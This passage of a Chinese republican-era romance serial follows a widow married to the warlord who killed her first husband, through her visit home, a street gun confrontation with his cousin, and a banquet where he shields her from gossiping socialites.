江浸月呼吸都消失了。
晏山青眼睛一眨不眨地看着她,没有错过她任何神态变化。
他冷不丁问:“夫人在忍耐?”
“……”
江浸月克制着去抓剪刀的冲动,冷静地说,“督军如果是来补昨晚的圆房,说一句就好,你我夫妻,应该的,何必这么羞辱我。”
晏山青:“这算是羞辱?你都说了,你我夫妻,这难道不算情趣?”
江浸月突然动了。
不是去抓剪刀,而是将自己寝衣剩下的扣子都解开。
这时有一阵恰到好处的风,将原本只开一条缝的窗户整个吹开,院子里的烛火与月光一起铺进房间,将床上的女人照得一清二楚。
晏山青眸色骤暗。
月光柔和地贴着江浸月的肌肤,勾勒出曼妙的身体曲线。
她穿一件杏色的肚兜,布料从胸前遮到小腹,上面绣着两朵妖冶的芍药,开得夺目,也开得勾人。
“督军如果是来圆房,这理所应当。”江浸月说,“但如果是为了追究我早上‘恐吓’宋小姐的事才这样折辱我,那我……”
“你怎么样?”晏山青的剪刀抬高了她的下巴。
尖利的刀尖直指女人的咽喉,女人衣衫还敞着,俨然就是被动,又任人予取予求的模样。
可江浸月说的是:“不服。”
晏山青审视着她。
“我不认为我说的话有错。”
“无论宋小姐昨晚落水是故意还是失足,总之阖府上下都觉得她是因为接受不了督军娶妻才寻短见,这其实是变相说督军喜新厌旧,薄情寡义。”
“我是为了维护督军的尊严,所以才去‘请’宋小姐自己走出来,把事情解释清楚。”
“现在她给了失足的解释,这件事就过去了,这样处理难道不周全?督军怎么能怪我呢?”
饶是晏山青都差点被她绕进去了。
她的言外之意就是,她做的这些,都是为了他。
明知道她是在找借口,可偏偏这个借口找得叫他挑不出毛病。
他还真是给自己娶了一个,“很好”的督军夫人回来。
晏山青哼笑一声,将剪刀丢到被子上。
“衣服穿好出来,我有别的话跟你说。”
第10章 你装乖的样子,我最不喜欢
浓烈的压迫感远去后,江浸月背脊才慢慢松开。
风还在吹,她的身体不受控制地起了鸡皮疙瘩。
她深吸了口气,平复好情绪,下床,打开衣柜,换了一件寝衣,又在寝衣外加了一件斗篷。
晏山青已经在外间点了一盏煤油灯,亮堂的光线弱化了一男一女独处一室的暧昧。
“督军刚从外面回来吗?我让人准备洗澡水?您要吃点什么吗?”
江浸月一副贤良淑德的模样。
晏山青坐在椅子上,话锋突然一转,直白的一句:“陈师座遇刺,刺客说,他是来替沈霁禾报仇的。”
江浸月一愣。
他勾起嘴角,“你说,沈霁禾的旧部,怎么偏挑我娶你这日动手?”
江浸月回过神后,冷静地说:“刺客绝对不是沈家旧部。”
“嗯?”
“沈家人现在都在督军手里,沈家旧部投鼠忌器,绝对不敢这么草率地挑衅您,退一万步讲,他们要刺杀,为什么不冲着您来,而要冲着陈师座?”
晏山青就问:“夫人觉得呢?”
“我猜……幕后主使真正目的不是刺杀,而是嫁祸一起刺杀重罪给沈家人,让督军迁怒之下,杀了沈家人,”
江浸月一字一字道,“甚至是,我。”
晏山青的眉梢再次扬了起来。
从她敢孤身一人到军营跟他谈判开始,他就知道,这女子不是一般的女子。
但她能在这么突然,又这么短的时间里,想到这么多,几乎接近正确答案,还是让他认真地看了她两眼。
他眼色变得深浓,忽然抓住她细细的腕子,直接将她拽到自己腿上。
江浸月的脑子还在想刺杀的事,没想到他会突然来这一手,猝不及防下,身体踉跄地扑过去,被他抱住。
臀下碰到他结实有力的大腿,江浸月全身瞬间紧绷!
晏山青拇指重重碾过她唇瓣:“能言善道,我不喜欢。”
江浸月顿了顿,然后从善如流:“督军不喜欢我改就是。”
晏山青说:“你装乖的样子,我最不喜欢。”
“……”
能言善道不喜欢,乖巧听话也不喜欢,那他喜欢什么?
喜欢宋知渝那种娇滴滴、柔柔弱弱的?
江浸月眼观鼻鼻观心,他们这场婚姻本就不是因为“喜欢”才结合,所以“喜欢”是最不重要的。
他看得上她就看,看不上就不看,无所谓。
晏山青兴致缺缺地松开她的腰,江浸月飞快起身,后退,试着问:
“督军要安寝了吗?”
汽油灯在他身侧的桌上,暖橙色的火光将男人本就深刻的眉眼照得轮廓分明。
他其实很英俊,是那种有攻击性,很让人觉得危险的英俊。
“夫人自己寝吧,剪刀也可以收起来了,我最近公务繁忙,可能没什么时间陪夫人,夫人见谅。”
听到他这句话,江浸月既觉得松口气——她其实也没办法想象自己跟他同床共枕的样子;但又隐隐有些忧虑。
从答应嫁给他的一刻起,江浸月就没想守着身子装矫情,新婚夫妻不圆房,恐怕会有流言蜚语。
但她现在也没办法做什么,只能懂事地说:“督军日理万机,也要保重身体。”
暗中盯着垆雪院的几双眼睛,看到晏山青半夜离开的身影,又纷纷缩了回去。
他们各怀心思,但都在这一刻达成一个共识——没有圆房。
督军力排众议,非要娶这个嫁过人的江浸月当正头夫人,娶回家后又连着晾了她两个新婚夜,他到底是怎么想的,所有人都看不明白,也不敢轻举妄动。
各种风言风语里,江浸月却跟没事人似的,每天除了早上到寿松堂给老夫人请安,便只窝在自己的垆雪院内,连花园都没有去。
于是这些风言风语里,就又添了几分对她的轻蔑。
晏山青他说最近不会来,就真的连着三天三夜都没有出现。
第四天,老夫人将江浸月叫了过去。
老夫人虽然不喜欢她这个儿媳,但已经娶回家了,她身上就有责任。
她教诲江浸月:“你要体贴山青,早日给山青生下一儿半女,才对得起你的身份。”
江浸月温顺:“是,儿媳谨记。”
她总是一副软绵绵的样子,老夫人都懒得收拾她,摆摆手,让她走。
江浸月转身,老夫人突然想起来:“明日回门,记得提醒山青。”
南川这边,新婚七日才回门。
江浸月应了明白,回到垆雪院,她就让辛儿去找管家,让管家去问晏山青,明日同不同她回门?
第11章 是伺候,还是监督?
不是江浸月不愿意亲自去找晏山青,而是她找不到。
管家是晏山青的人,他肯定知道去哪儿找他。
晚些时候,管家来了垆雪院,貌似恭敬地道:
“夫人,督军明日约了苏参谋长议事,怕是不得空,督军让夫人自己到库房挑些合适岳父岳母的礼物带回江家。”
“再代他向岳父岳母致歉,改日他得空,一定亲自上门拜见。”
这些到底是晏山青的原话,还是圆滑的管家美化后告诉她的,江浸月没有追究。
她其实早就猜到,晏山青不会跟她回去。
至于原因,不用多说。
他娶她是娶一个工具,没听过还要跟工具回娘家扮演夫妻情深的。
江浸月听他的,自己到库房选了几样既不出格又不丢督军面子的礼物。
次日,天刚蒙蒙亮,她就带着明婶出门。
盛叔已经开车等着,但等江浸月走近了才发现,车边竟然还站着晏山青的副官。
“督军公务繁忙,没办法陪夫人归宁,特意派我随行伺候。”副官面不改色道,“夫人请上车,我自己开车跟在后面。”
到底是随行伺候,还是随行监视,江浸月心知肚明。
没有说什么,弯腰坐上车。
江家不喜过分张扬,府邸只是一座三进三出的四合院,比起其他富户的五进五出,显得要中规中矩多。
汽车刚在江家门前停下,江夫人便快步走了出来:“皎皎!”
“妈妈。”江浸月也迎上了母亲。
江夫人连忙将她从上到下都看了一遍,眼睛里的心疼和泪水几乎要涌出来。
江浸月记着副官还在,握了握母亲的手,提醒她克制:“我起床就回来了,还没吃早餐,妈妈给我做酒酿丸子好不好?”
“好,当然好。”江夫人压了压情绪,顺势看向副官。
他穿着笔挺的军装,她第一眼还以为他就是那个晏山青,但看肩上的军衔又好像还差些。
江浸月介绍:“这位是督军的副官。督军公务繁忙,今日不得空跟女儿一起回来,但派了副官随行。”
江夫人一听就知道怎么回事。
回门这种大日子都不跟着一起来,可见女儿在督军府被怠慢成什么样!
她喉头哽咽,拉着女儿进门。
江父比江夫人稳重些,没有直接跑出大门,但也扶着门框等着,叹息着说:“进去吧。”
江浸月在家中排行第三,上面还有两个哥哥,一个在军中,一个在银行,知道她今天回门,都跟父母在家里等着。
大嫂说:“皎皎应该还没吃饭吧?我熬了山药百合燕窝粥,快好了,给你盛一碗来吧。”
江夫人说:“她想吃我做的酒酿丸子,我现在就去给她做。”
江浸月拉住母亲:“丸子下午再做,当点心吃,妈妈坐吧。”
副官到底没太过分,没跟着进来,屋内只有他们一家人。
江浸月只能在娘家待一天,所以先把要紧的说了:“宋师长遇到刺杀,刺客自称是要替霁禾报仇的。”
母亲一听就惊了:“那督军有没有为难你?”
“他应该不信刺客的话,所以才会试探我。我想让爸爸留意南川城内最近是否有异动,如果只是晏山青的政敌倒无所谓,我怕的是幕后主使的真正目的是咱家和沈家。”
晏山青没杀沈家人,大概让很多人不满。
江父点头:“我一定给你查出一个结果。”
吃过早饭,江夫人就拉着女儿去了房间,大嫂也跟进来。
这是要说女人间的话。
“听说,晏山青还没有跟你圆房?”
江浸月淡淡笑了笑:“他娶我,本就是为了兵不血刃拿下南川,其次是咱家的钱财,当然不会委屈自己跟我。”
江夫人低声:“你光顾着担心外面,有没有想过,这些后院里的事,对你更危险?”
“你跟晏山青没有圆房,是你们夫妻才知道的事,现在却传得到处都是,分明是有人刻意张扬!”
大嫂也道:“我听说晏山青后院有个没正式过门,但跟他关系极近的女子,很受晏家人看重,这些事,很可能就是她传出来的。”
江浸月没说话,江夫人的神情又多几分哀愁:“是阿妈失言,你跟他,算什么夫妻啊?”
如果不是形势所迫,如果不是为了家人,谁愿意嫁给自己的杀夫仇人?
哪怕不是仇人,可她丧夫才不到一个月啊……
第12章 干什么去?圆房去
江浸月却轻轻莞尔,握住母亲的手。
她性子清冷,似凉夜池塘里的水,这么一笑,倒是温柔如四月春风。
“妈妈,嫁给他是我亲口答应的,我并不觉得委屈,也没有后悔。”
“我也不是怕您担心,所以哄您。霁禾已经死了,这是无法改变的事实,南川不落在晏山青手里,也会沦陷在别人手里。”
“而无论落在谁手里,江、沈两家都没有好下场。我这个沈家妇,因着这个身份,一定会被折辱。”
“您也知道我从来不是坐以待毙的人,我要救自己,救我的家人朋友,这是我去找晏山青的原因。”
“事情比我想的顺利,我还坐到了督军夫人的位置,这就意味着,我只要应付好晏山青一个人,那么无论天下人心里怎么看待我,最起码表面上不敢对我有所冒犯。”
“至于我对晏山青……他杀了霁禾,我是还放不下,可我也明白战场就是有生有死,胜败乃兵家常事,我没有你们想的那么仇恨他。”
“这个时代,人,尤其是女人,很难活得有尊严,我已经比大多数人好了,所以我真的没有觉得自己多可怜,您也不必替我叹气。”
“……”
江夫人和大嫂听着她这些心里话都愣愣的。
他们知道江浸月从小独立要强,不是一般的闺阁女儿,可没想到她竟然这样理智清醒。
也是。
在生存面前,其他的都是小事。
大嫂也将手叠在江浸月手背上:“你想得很清楚,那你今后更要小心后院那女子,莫要着了她的道。”
江浸月也明白大嫂的言外之意。
她既然已经打定主意要在新督军府站稳脚跟,那么跟晏山青的圆房就是宜早不宜晚,这样她才能成为真正的督军夫人。
只是这圆房,不是她愿意就可以,她看晏山青也不是很愿意。
吃了午饭,江夫人让大嫂和江浸月出门逛一逛。
江浸月在国外留学,养出了一副爱自由的性子,从前在沈家,没事就喜欢出门走走,自从南川变了天,她已经有很久没有上街。
出去走走,心情也能疏朗一些。
她们要出门,副官自然是跟随。
与此同时,南川最繁华的大街东大道上,某家餐厅二楼,晏山青和他一起打天下的战友苏拾卷在窗边的位置闲谈。
“整个南川都在说你跟新夫人没圆房的事,人不是你自己要娶的吗?既然已经娶回来了,她就是你正头太太,往后还有漫长的几十年,何必给人难堪呢?”
晏山青皱眉:“你闲得无聊跟我讨论这种事?”
“兄弟这不是关心你嘛,原本收拢沈、江两家的办法也不止这一个,你非要娶死对头的小寡妇,我也看不懂你做这个决定的必要性。”
想到江浸月那张浓淡相宜的美人面,苏拾卷扫了眼晏山青,“你该不会是看她漂亮,动心了吧?”
“动心了更应该把房圆了啊,省得大家一会儿猜你嫌弃人家二嫁之身,一会儿猜你是不是有隐疾……你该不会是真的有难言之隐吧?”
“滚蛋。”晏山青嗤笑。
苏拾卷继续猜:“那你是不喜欢她柔柔弱弱?可宋小姐不就柔柔弱弱吗?”
晏山青眉眼生得野性又英俊,加上今天没有穿军装,就很有混账公子哥的劲儿:“确实,她要是一个会拿枪的,我应该会迫不及待。”
苏拾卷正想说他鸡蛋里挑骨头,除非是从军的女子,否则寻常人家的姑娘哪会舞刀弄枪?
但话还没说出来,窗外就传来一阵吵闹声。
两人对视一眼,一起走到窗边往下看。
然后。
就看到了万万都没想到的一幕——
那个身穿旗袍,刚被说柔柔弱弱的督军夫人,不知道因为什么,突然从副官的枪袋里拔出了手枪。
动作非常利落地上膛,而后,直指她对面的女子,面色冷艳。
……这哪儿还是那个柔柔弱弱的江浸月啊?!
苏拾卷愣怔过后,就忍不住调侃:“喏,舞刀弄枪,现在迫不及待了?”
晏山青转身下楼。
苏拾卷说:“干什么去?女人间的事你不好插手,站哪边都不合适,反正有副官在,场面控制得住。”
晏山青丢下一句半真半假的话:“圆房去。”
第13章 夫人可真教我心疼
被江浸月用手枪指着的女郎穿着一身时髦的骑马装。
马甲收着纤细的腰身,长靴束出小腿的线条,还烫了一头卷发,扎着一个大蝴蝶结,一看就是新式女子。
但再新式的女子,面对黑乎乎的手枪枪口,也只剩下磕磕巴巴。
“你、你、你居然敢对我动枪!你知道我是什么人吗?!”
江浸月平静地说:“我知道。你是陈佑宁,督军麾下陈师座的女儿,也是督军的表妹。”
陈佑宁紧紧咬着下唇,盯着她那张将清冷与艳丽融合得恰到好处的脸:“你知道我是谁,还敢对我动手?!”
“那宋小姐刚才故意在我背后说了什么呢?”
“难道我说错了?”陈佑宁梗着脖子,周围的百姓都好奇地围过来看她们的热闹,她偏要大声复述。
“沈霁禾才死了没多久你就急着找下家,不是耐不住寂寞是什么?”
“我表哥什么样的女人没见过,怎么可能真的看上你这种破鞋?不过是玩玩你,顺便接手沈霁禾的烂摊子罢了!你和你死掉的短命鬼丈夫真是天生一对——都是一样地惹人嫌、碍人眼!”
“你最好祈祷我表哥对你的兴趣久一点,不然你们江家就要跟着你一起滚出南川要饭!”
江浸月对周围的议论声满不在乎:“陈小姐等我被扫地出门的那天,再到我面前耀武扬威也不迟。”
“现在,我是督军夫人,你在我面前就要尊敬,这次我只是用枪指着你,下次,我会直接开枪。”
陈佑宁还真有那么一瞬间被她吓到了。
但转念一想,她江浸月有什么底气?色厉内荏罢了!
“你吓唬谁呢?你敢对我开枪?我爸是陈师座,我姨母是老夫人,我表哥是督军,你要是敢动我一根头发,他们都不会放过你——”
江浸月二话没说,直接扣下扳机!
也在这十分之一秒里,一道高大的身影从餐厅冲了出来,直接抓住江浸月的手,将枪举向天空。
“砰!”
骤然响起的枪响,惊得陈佑宁本能地抱住脑袋,猛地蹲到地上,周围看戏的百姓也纷纷后退躲避。
陈佑宁脸色惨白,不可置信江浸月竟然真的敢对她开枪!
她霍然抬起头!然后就看到凭空出现的晏山青,一手搂住江浸月的腰,一手抓着她持枪的手对着天空——刚才那一枪,是打向了天空。
晏山青比江浸月高太多了,体型也几乎是两个她,此刻将她紧紧圈在怀里,控制得她动弹不得。
晏山青低下头,盯着江浸月小巧的耳朵,语气分辨不出喜怒:“夫人要练枪法,跟我说一声,我带你到军中靶场。街上练枪,就算没伤到人,伤到路过的鸟也不好,你说呢?夫人。”
“……”
男人的气息拂过她的耳尖,江浸月的身子微微一僵。
她下意识的反应是从他的怀里离开,但没有成功。
陈佑宁看到晏山青来了,立马站了起来,像找到了靠山那样:“表哥!她差点就杀了我!”
晏山青目光不冷不热地看向她:“多大人了还这么不知道分寸,你想让表嫂陪你练枪,也不看这是能练枪的地儿吗?下次小心点,不要在大街上丢人现眼,不然我替你爸收拾你。”
他一句“练枪”,就给这起当街开枪事件定了性,完全就是偏袒江浸月。
陈佑宁哪里能忍:“表哥,你居然护着这个女人??我要去告诉姨母!!”
她转身就要跑去督军府,找老夫人告江浸月的状,晏山青的嗓音骤沉:
“你要是乱说话,我就不让你再到督军府来。”
陈佑宁硬生生停住脚步,哀怨地回头看他,最终不甘不愿地“哼”了一声。
回了自己的家。
晏山青从江浸月手中夺下手枪,丢还给副官,副官也驱散围观的百姓。
江浸月低声:“督军,请放开我。”
晏山青这才松开她柔弱无骨的腰。
江浸月几乎是立刻就往后退了三步。
晏山青看看她,又看看另一个女子:“夫人是跟大嫂出来逛街?”
“是。”江浸月看向旁边的餐厅,“督军在跟朋友吃饭?那我就不打扰督军了。”
她说完就要拉着大嫂走——好不容易回个门,她还没放松够呢。
晏山青眯眼,非常不满她掉头就走的做派:“我刚护了你,夫人就要丢下我?那么母亲那边,我恐怕就爱莫能助了。”
“……”
江浸月硬生生停下脚步。
虽然她有办法对付老夫人,但多一事不如少一事。
她咬了咬后牙,转回身,赔笑道,“督军还没吃完的话,能否加一副碗筷?我中午在家没吃饱。”
晏山青喜欢她的识趣:“才嫁出去几天啊,岳父岳母就忘了我家夫人的饭量,居然让夫人饿着肚子上街,真叫我心疼。”
说完他就往餐厅走去,“跟上来吧,夫人。”
江浸月心里骂了一句,跟上去。
大嫂担忧:“皎皎……”
江浸月对她说:“大嫂,你先回家吧。”
大嫂也没办法从晏山青的手里把江浸月带走,只能一步三回头地离开。
江浸月对她摆了摆手,示意她不用担心。
晏山青眉梢抬了一下:“皎皎,还愣着干什么?”
江浸月一下看向他,脱口而出:“你叫我什么?”
晏山青饶有兴致地问:“皎皎是你的小名?”
“……”
这个称呼从他口中叫出,让她心头莫名一颤,又有些抗拒。
以前沈霁禾也是这么叫她的。
江浸月不自然地回避问题:“督军让我留下,是有什么事要交代吗?”
晏山青还没有放过这个话题:“因为你的名字里有月,所以叫皎皎?”
他说话没有地方口音,很标准的普通话,但他咬字有种玩味的感觉,“皎皎”这两个字,愣是被他念出了一些江浸月从没有听过的调调儿。
而他就像是叫上瘾了似的:“皎皎,你的枪法是谁教的?”
“……随便开的而已。”
晏山青嗤了一声:“我没有抓住你的手的话,你那一枪就是冲着陈佑宁的耳环去的。如果你没有信心自己打得中,你不敢瞄那里。”
她开枪只在一瞬间,而他从餐厅里冲出来的时间更短,却能精准判断她的目标,晏山青显然更加厉害。
晏山青一想就明白了:“沈霁禾教你的?”
上次江浸月用防身术对付他,他也问她是不是沈霁禾教她的?
他似乎,很在意?
第14章 她没有拒绝的权利
江浸月否认了:“我自己学的。”
“哪儿学的?你在国外学的不是医吗?”
“国外也乱,总要自保,所以就学了。”
“哦,这样。”
他也没说信不信。
江浸月谦虚:“学得不好,只能吓唬人。”
他们一边说话,一边进餐厅,说到这里时,已经上了二楼,到了窗边那个位置。
晏山青随意道:“还想吃什么,自己点。”
江浸月:“给我来一碗冰糖水吧。”
服务生刚要退下,晏山青就说:“这个天气吃冰还早着,给她一杯话梅柠檬水。”
服务生自然是听他的。
江浸月好不容易回个娘家,还被他强行压在这里,心里本就不太舒服,他还这样。
她有些没忍住说:“督军既然没想让我自己点,何必问我?”
晏山青说:“这不是显得我尊重你么。”
江浸月:“……”
苏拾卷听他们这一来一回,笑着摇摇头,插进话:“佑宁是家里的独女,也是这一辈里唯一的女孩,被宠坏了,她说的话,弟妹不要放在心上。”
江浸月顿了顿,然后回道:“苏先生多想了。我知道陈小姐只是跟我探讨枪法而已。”
苏拾卷倒是意外:“你认识我?”
江浸月言语得体:“督军的好友,不认识才是我不懂规矩。”
苏拾卷看了看她,忽然对晏山青说:“山青,你不是还在想今晚的宴会要带哪个女伴吗?有什么比带你名正言顺的夫人更合适?”
江浸月一愣:“什么宴会?”
苏拾卷的气质不像一个当兵的,十分斯文,也不似晏山青那般霸道,温声细语地解释。
“我们刚进南川,要想办法让新旧两派势力相互融合,所以就想办个宴会,把大家聚在一起。弟妹留洋回来的,对这些社交性的宴会应该更加熟悉,正是再合适不过的人选。”
服务生送来她的话梅柠檬水。
江浸月借着喝水的动作飞快思索。
想让新旧两派势力融合,不可能是办个宴会,大家一起喝喝酒聊聊天跳跳舞就能达成,这里面的文章大着呢。
江浸月觉得自己最好不要掺和进去……她的身份太微妙了。
她放下水,微微一笑说:“我要是去了宴会,大家讨论的话题可能就不是联谊,而是我。督军还是换其他人吧,免得喧宾夺主。”
晏山青却也觉得这个主意不错:“是吗,那我也想知道,大家对你成为我的督军夫人都是怎么看的?”
江浸月继续婉拒:“这种宴会新潮,我没什么新式礼服,现在赶着做也来不及,会丢督军的脸,还是算了吧。”
晏山青扫了扫她身上的衣着。
她今日回门,穿得好看,一身白底绿叶的旗袍,绿叶以珍珠绣成,不单调,也不过分华丽,将她的气质修饰得温婉。
“你穿旗袍就好。所有人都穿西式礼服,只有督军夫人独树一帜,不是更能体现出你的地位?”
江浸月还想再拒,但晏山青的耐心有限,下一句话的声音已经没有那么随意了。
“夫人还缺什么,我们现在就去买。”
“……”
江浸月明白了,她没有拒绝的权利。
吁出口气,被迫答应:“不缺什么了。请督军准许我回家准备一下。”
“可以。”
江浸月起身离开。
她走下楼时,被旗袍勾勒出的细腰与臀,线条极为好看。
晏山青看着,端起那杯话梅柠檬水,一口喝了半杯。
放下时,眼里的情愫意味不明。
“督军。”副官不知道要用不用跟上去?
苏拾卷笑问:“你刚才怎么回事?那么容易就被夫人抢走了枪?”
副官连忙低头认错:“我没想到夫人敢夺枪,没防备……”
晏山青淡淡道:“不用跟了。自己去领十军棍,下次再这么大意,就滚去当大头兵。”
……
江浸月仍然回了江家。
她到家时,大嫂和母亲正在厅堂说什么,神色焦急。
她喊:“妈妈。”
江夫人立刻:“皎皎,你回来了,我听你大嫂说你在街上跟督军的表妹动枪,你还被督军单独留下,可担心坏了,我正想让你大哥去看看。”
江浸月给了母亲一个安抚的笑容:“没什么,督军留我,只是想让我陪他参加宴会。”
大嫂问:“是今天晚上在洋楼办的那个宴会吗?”
江浸月看向她:“对。大嫂也知道?”
大嫂点头:“你大哥也收到了邀请函,本来是不想让你担心,所以才没告诉你,没想到督军还叫了你一起去。”
看来这个宴会集结了南川省内所有叫得上名号的人。
江浸月想了一下,然后弯出微笑:“那正好,我们可以互相照应。”
江父沉声:“你们是该互相照应。据我所知,这个宴会还请了盐务的,铁路的,码头的,学校的……显然,晏山青是想把这些重要部门都换成自己的人掌权,但老人们未必肯交权,这可能是一场鸿门宴啊。”
江浸月心里有数。
大嫂牵她手:“先到房间选衣服吧。”
江浸月便跟大嫂去了房间。
江家富庶,衣裳首饰什么的自然是不缺的,大嫂也是时髦的女人,从衣柜里拿出几条华丽的裙子:“要穿洋装吗?”
江浸月摇头:“不了,我穿旗袍就好。”
免得忤逆了晏山青,他又有话说。
大嫂笑着说:“虽然你从国外回来,但身上的气质还是更适合穿旗袍。”
江浸月垂下眼睛,低声说:“霁禾也喜欢我穿旗袍。”
大嫂心疼地看着她,她跟沈霁禾结婚三年,真是夫妻恩爱,一段佳话。
她也不想江浸月陷在难过里,连忙拿出两件新旗袍:“那要穿这件红色的,还是墨绿色的?你皮肤白,穿墨绿好看,穿墨绿的吧?”
“穿红的吧。”
既然他要她显眼,那她就显眼到底。
换了衣服,又上了妆,将头发挽出一个发髻,用一根玉簪扎着。
天色渐渐黑下来,门口的仆人来报,外边停了一辆汽车,不知是谁?
江浸月猜是晏山青来了,起身出去。
果然,一跨出门就看到晏山青正靠着汽车在抽烟。
他没有穿军装,也不是下午在大街上的休闲装扮,而是换了一套黑色西装。
但怎么说呢。
这男人虽然包裹在西装革履下,但衬不出一点绅士感。
他身上有种野性,让人轻而易举联想到山头上威风凛凛的雄狮。
江浸月脚步徐徐地朝他走去。
高跟鞋落在水泥地面上,咚咚,晏山青吐出一口烟雾,上下扫了她一圈,咬着烟说:“夫人很漂亮。”
江浸月说:“督军满意就好。”
·
宴会在洋楼举行。
洋楼是南川省最华丽的西式建筑。
宴会大厅悬挂着从西洋海运而来的巨大水晶灯,灯下的男男女女衣香鬓影,手持一杯红酒交谈着。
南川易主虽然才过去短短一个月,但由于没有真正经历过战乱,所以对这些上流社会的人们来说,几乎是毫无影响。
有人惊呼:“晏督军来了!”
众人纷纷放下手头上的事,朝着门口迎去。
然后就看到,晏山青的臂弯里挽着一个穿红色旗袍的女子。
女子容貌清绝,见过她的人,都不会忘记她是谁。
于是,有人低声议论:“督军怎么带这个女人来?”
也有人轻嘲:“他们是新婚夫妻,督军不带她出来才奇怪。看她穿成那~样~”
骚。
第15章 逐客令!督军护妻
几个年轻女子都讽刺地低笑起来。
她们都是南川的富家女,自诩上流社会,既看不起晏山青这种出身普通的兵痞子,也看不上江浸月这种二嫁的“破鞋”。
但她们只敢在私下嘲弄,当面还是做出一副恭敬的样子:“督军、督军夫人,晚上好。”
晏山青对众人点头:“大家今晚玩得开心。”
众人都笑笑应“是”。
有几个富商过来跟晏山青攀谈,晏山青便寒暄着。
江浸月站在旁边扮演一个精致的花瓶,有人跟她说话,她就礼貌应对,没人理会,便保持微笑,很是端庄优雅。
就是有点走神。
这种场合,她以前陪沈霁禾参加过,甚至这栋洋楼,她就来过好几次……
挽着晏山青的那只手突然被握住,力道有点重,江浸月回过神,抬起头。
晏山青目光微冷:“夫人在想什么?”
江浸月抿了抿唇:“在想……那边那杯黄色的酒,烈不烈?”
晏山青嗓音略沉:“我还以为,夫人是在想,上次来这里的情形。”
……这个男人难不成会读心术?
江浸月飞快看了他一眼,没说话。
晏山青放开她的手,神情淡了很多:“那杯是洋酒,度数不高,会喝酒的人拿它当水喝,夫人自己斟酌吧。我去趟洗手间。”
说完,他转身就走。
江浸月看着他的背影,隐隐感觉他这会儿似乎有点不高兴了?
大嫂走到她身边,两人还没说上话,就有女子朝她们走过来。
笑问道:“督军夫人,夫人今晚的裙子好生漂亮,不知道是在哪家时装店定做的呢?”
江浸月一看,是两个年轻的女子。
一人穿着白裙拿着羽扇,一人穿着黄裙戴着小礼帽,讲着一口南川话,也有些面熟,以前应该见过。
江浸月答:“西大街那家旗袍店。”
白裙女子用扇子遮住唇边的笑意,故作反驳道:“你这话就多余问,我们就算做了一样的裙子,难道还能穿得跟督军夫人一样美?”
黄裙女子也笑:“有道理有道理,就算能穿得跟督军夫人一样美,也不能像督军夫人一样好手段,咱们还是别费那个工夫。”
两人都咯咯笑起来,根本就是在暗讽江浸月勾搭晏山青上位的事,大嫂火冒三丈,瞪起一双眼睛就要斥骂她们放肆!
江浸月握了握她的手,示意她不用说话。
她淡淡看着她们,任由她们笑个够,然后才问:“我不是很懂两位的意思,你们说的‘手段’,是什么手段?”
两人笑意微顿:“没什么,随便说说而已,夫人阅历如此丰富,可别跟我们小女子一般计较。”
江浸月却只是定定地看着她们,温声细语地再问一遍:“我只想知道,两位小姐说的‘手段’,是指什么?两位小姐说的‘阅历’,又是指什么?”
“……”
两人面面相觑,她们是没想到江浸月会追着问。
这就跟某些男人对着女子说些下三烂的污言秽语一样,你若害羞,他们会觉得有趣;你若生气,他们更觉得好玩;你若回避,他们下次还敢,并且变本加厉;
但你要是平平静静地看着他,问这是什么意思?哪里好笑?他们反而会无言以对,自己觉得尴尬。
大嫂横眉冷对:“说啊,你们什么意思?”
白裙女子咬了咬唇:“没什么意思啊,我们刚才说什么都忘了。”
大嫂冷笑:“自己说过的话转眼就忘了,该不会是脑子有问题吧?”
“你!”
两人被怼了个没脸,又不甘心被江浸月占上风——她一个南川人人唾弃的女人,凭什么跟她们来一个宴会?凭什么凌驾在她们之上?
白裙女子整顿表情,重新提起微笑,往江浸月面前走近,小声道:
“夫人别介意,咱们都是女人,说些女人间的话也没什么,听说夫人和督军到现在都还没圆房,这是为什么呢?”
黄裙女子一唱一和:“之前看督军急匆匆娶了夫人过门,还以为督军对夫人寤寐求之,所以才这么着急,现在看好像不是这么回事,真是叫人看不懂,所以才想问一问夫人,你跟督军唱的是哪一出啊?”
就像妈妈和大嫂说的,这件事已经传得南川到处都是。
江浸月淡淡看着这两个年轻女子,明明都是面容姣好,却因为一些莫名其妙的敌意变得有些刻薄。
江浸月还没说话,男人冷厉的声音便由远及近传来:“这种话应该来问我,问我夫人,她脸皮薄,哪好意思回答?”
他没有压低声音,周围的宾客纷纷回头,看着他们这一边。
那两个女子脸色都是一变!
她们敢在江浸月面前阴阳怪气,是知道江浸月现在是整个南川的“罪人”,没人会给她撑腰。
却不敢在晏山青这么一个刚从沙场上走下来、浑身浴血的人面前大小声。
晏山青走到江浸月身后,手臂自然而然地搂住她的腰。
他不仅身形极具压迫感,这么低着眼睛看人,更是叫人不寒而栗:“这么好奇我们夫妻之间的事,要不要在督军府给你们留一间房,让你时时刻刻都能亲眼见证?”
两个女子惶恐地说:“不敢,不敢。”
晏山青脸上的笑意一收:“想来是菜色酒水不合二位胃口,两位才只顾着说三道四,既然如此,那就不勉强二位留下了。请。”
逐客令!
两个女子还没反应过来,两个身穿军服的卫兵已经出现——他们身上还背着枪!
她们吓得脸都白了,不敢再逗留一秒钟,仓皇离开。
晏山青看向其他人:“小插曲而已,大家继续。”
所有人整齐划一转开头,都不敢有忤逆。
——这就是晏山青在南川的威慑力,大家表面敢跟他说说笑笑,实际上都怕他动一丝怒。
江浸月其实没想到他会用如此直接且强硬的方式……维护她。
大嫂犹豫了一下,无声地走开。
她看得出,晏山青有话要跟江浸月单独说,她在旁边不方便。
果然,晏山青低头去看江浸月,听不出喜怒道:“夫人对着我的时候不是很伶牙俐齿吗?怎么对着两个长舌妇就任由她们取笑羞辱自己?”
江浸月倒也不是任由她们羞辱,只是还没来得及开口他就来了。
但在晏山青面前,她还是很识趣地卖乖:“她们都是督军的客人,督军想让新老两派融合,我总不能破坏。”
“再者,这是督军的地盘,她们再怎么样也不敢真的对我冒犯,但还是很感谢督军的出面维护。”
晏山青审视着对她这一番滴水不漏的官话,这时,苏拾卷端着酒杯走过来,笑容温文,话里有话:
“山青,弟妹,你们夫妻二人真是宴会的焦点,一刻都不得闲,不过正事也该谈谈了。”
他目光转向宴会厅一侧的休息区,“几位老先生已经等候多时。”
晏山青眉眼不动,极淡地“嗯”了一声:“夫人也一起过去吧。”
第16章 你对得起霁禾在天之灵吗!
江浸月没有拒绝的余地,只能跟他一起朝休息区走去。
休息区的设计也很值得玩味儿,有蓝丝绒和红丝绒两条长沙发,蓝丝绒上坐着江浸月不认识的人,但他们身上都有军阀气息,想必就是跟着晏山青打天下的人。
